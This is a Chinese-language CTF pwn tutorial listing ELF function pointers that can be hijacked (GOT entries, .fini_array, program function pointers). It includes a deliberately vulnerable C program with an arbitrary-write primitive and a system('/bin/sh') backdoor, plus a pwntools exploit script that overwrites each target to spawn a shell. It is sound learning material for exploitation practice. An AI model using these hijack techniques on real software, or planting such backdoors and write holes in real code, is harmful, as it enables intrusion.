CTF Pwn 题中 目标本体ELF 可用 函数指针 (攻击位置) 整理

对CTF Pwn题中 常见的 属于目标程序本体中的 可被攻击者利用进行控制流劫持的 函数指针 以及 触发方式 进行了整理。

攻击变量 变量位置 触发函数 条件
GOT表表项 .got.plt 段 相应函数 GOT表可写
_fini_array .fini_array 段 exit(), main函数return _fini_array 可写( -z norelro)
程序自己实现的函数指针 程序的数据段(bss、data)、栈、堆) 程序函数指针调用位置

示例程序

附件:test

#include <stdio.h>
#include <stdlib.h>

int backdoor() { system("/bin/sh"); }
int hello()    { puts("hello\n"); }
int(* func_ptr)();

int main(){
    long long * p,data;
    char rw;
    setbuf(stdout,0);
    func_ptr = hello;
    while(1){
        printf("write or return or exit or hello?\n> ");scanf("%c",&rw);scanf("%*[^\n]%*c");
        if(rw == 'w'){
            printf("addr: ");scanf("%p",&p);
            printf("data: ");scanf("%llx",&data);
            *p = data; printf("OK\n");
        }
        else if(rw == 'r') break;
        else if(rw == 'e') exit(0);
        else if(rw == 'h') func_ptr();
        scanf("%*c");
    }
    return 0;
}

编译方式:

$ gcc test.c -z norelro -o test

攻击总结

from pwn import *
myelf = ELF("./test")
io = process(myelf.path)

sla      = lambda delim,data   :  io.sendlineafter(delim,data)
write    = lambda addr,data    :  (sla("> ","w"),sla("addr:",hex(addr)),sla("data:",hex(data)))
hello    = lambda              :  (sla("> ","h"))
ret      = lambda              :  (sla("> ","r"))
exit     = lambda              :  (sla("> ","e"))

def attack_func_ptr():
    write(myelf.symbols['func_ptr'],myelf.symbols['backdoor'])
    hello() # trigger
    
def attack_got():
    write(myelf.got['puts'],myelf.symbols['backdoor']) # puts("OK"); auto trigger

def attack_fini_array(): 
    # gcc test.c -z norelro -o test
    # https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/
    # https://www.coder.work/article/7496829
    # https://blog.csdn.net/easy_level1/article/details/115662443

    write(0x0600AF0,myelf.symbols['backdoor'])
    ret() # trigger 
    
    # exit also can trigger _fini_array: https://eqqie.cn/index.php/laji_note/1546/
    # exit() 

attack_func_ptr()
io.interactive()